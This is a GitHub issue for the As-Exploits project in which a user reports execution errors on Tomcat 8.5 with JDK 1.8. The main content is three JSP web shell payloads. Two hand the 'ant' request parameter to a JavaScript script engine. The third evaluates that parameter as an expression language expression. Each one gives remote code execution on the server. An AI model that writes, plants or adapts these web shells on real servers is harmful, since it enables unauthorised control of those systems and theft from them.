Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

As-Exploits 执行报错 #11

Open
etn0tw opened this issue Apr 22, 2024 · 0 comments
Open

As-Exploits 执行报错 #11

etn0tw opened this issue Apr 22, 2024 · 0 comments

Comments

@etn0tw
Copy link

etn0tw commented Apr 22, 2024

从博客看到尝试的,不知道是不是我操作哪里有问题?
环境
tomcat-8.5.82
jdk1.8.0_241

1、shell payload:
<%
try {
new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}));
} catch (Exception e) { }
%>
image
image
2、shell payload:
<%
out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;
%>
image
image
3、shell payload:
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant